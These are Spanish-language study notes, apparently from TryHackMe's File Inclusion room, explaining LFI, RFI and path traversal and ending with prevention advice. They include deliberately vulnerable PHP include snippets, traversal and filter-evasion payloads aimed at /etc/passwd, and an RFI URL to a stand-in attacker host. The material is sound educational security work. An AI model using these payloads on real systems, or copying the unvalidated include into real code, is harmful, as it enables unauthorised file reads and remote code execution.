> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/pt1-tryhackme/web-hacking/file-inclusion.md).

# File Inclusion

### ¿Qué es la Inclusión de Archivos?

Esta sala tiene como objetivo proporcionarte los conocimientos esenciales para **explotar vulnerabilidades de inclusión de archivos**, incluyendo **Inclusión de Archivos Local (LFI)**, **Inclusión de Archivos Remotos (RFI)** y **traversal de directorios**. También hablaremos sobre los **riesgos** de estas vulnerabilidades si se descubren y cómo **remediarlas**. Se ofrecen ejemplos prácticos y desafíos para que pongas a prueba tus conocimientos.

***

### ¿Cómo ocurre la Inclusión de Archivos?

En algunas aplicaciones web, los archivos se solicitan a través de **parámetros** que se pasan en la URL. Por ejemplo, imágenes o documentos estáticos pueden ser cargados así:\
`http://webapp.thm/get.php?file=userCV.pdf`\
Aquí, `file` es el parámetro, y `userCV.pdf` es el archivo solicitado.

Un ejemplo común son las búsquedas en Google:\
`https://www.google.com/search?q=TryHackMe`

***

### ¿Por qué ocurren las vulnerabilidades de Inclusión de Archivos?

Estas fallas son comunes en lenguajes como **PHP** y se deben, principalmente, a **falta de validación de entradas**. Si el usuario controla el valor del archivo sin filtros adecuados, puede solicitar cualquier archivo del sistema, lo que conduce a una vulnerabilidad.

***

### Riesgos de la Inclusión de Archivos

Un atacante puede:

* **Leer archivos confidenciales** (como credenciales o código fuente).
* En combinación con la escritura de archivos, lograr **ejecución remota de comandos (RCE)**.

***

### Path Traversal (Recorrido de Directorios)

Permite a un atacante **leer archivos del sistema operativo** fuera del directorio raíz de la aplicación, usando rutas como:\
`../../../../etc/passwd`

En sistemas Windows se pueden usar rutas como:\
`../../../../boot.ini` o\
`../../../../windows/win.ini`

***

### Inclusión de Archivos Local (LFI)

Los ataques LFI se deben al uso inseguro de funciones como `include`, `require`, `include_once`, etc., sin validación de entradas. Ejemplo vulnerable:

```php
<?php
    include($_GET["lang"]);
?>
```

Un atacante puede solicitar:\
`http://webapp.thm/index.php?lang=/etc/passwd`

***

#### Evadiendo restricciones

1. **Fuerza bruta de rutas**
   * `../../../../etc/passwd`
2. **Null Byte Injection** (solo antes de PHP 5.3.4):
   * `%00` anula lo que viene después, ejemplo:
   * `../../../../etc/passwd%00`
3. **Evasión de filtros con técnicas como**:
   * `/etc/passwd/.`
   * `/etc/passwd%00`
   * `....//....//etc/passwd`
4. **Si el código fuerza un directorio (`languages/`)**:
   * `?lang=languages/../../../../../etc/passwd`

***

### Inclusión de Archivos Remota (RFI)

RFI permite cargar archivos externos, como por ejemplo:

```php
<?php
    include($_GET['lang']);
?>
```

Y se explota con:\
`http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt`

**cmd.txt:**

```php
<?php echo "Hello THM"; ?>
```

> Esto requiere que la opción `allow_url_fopen` esté habilitada.

**Riesgos de RFI**:

* Ejecución Remota de Comandos (RCE)
* Robo de información
* XSS
* Denegación de servicio (DoS)

***

### Medidas de prevención

* **Actualizar** sistemas y frameworks.
* **Desactivar errores PHP** en producción.
* **Configurar correctamente PHP**, desactivando `allow_url_fopen` y `allow_url_include`.
* **Validar siempre las entradas del usuario**.
* Implementar **listas blancas** de archivos permitidos y ubicaciones seguras.
* Utilizar un **WAF (Firewall de Aplicación Web)**.
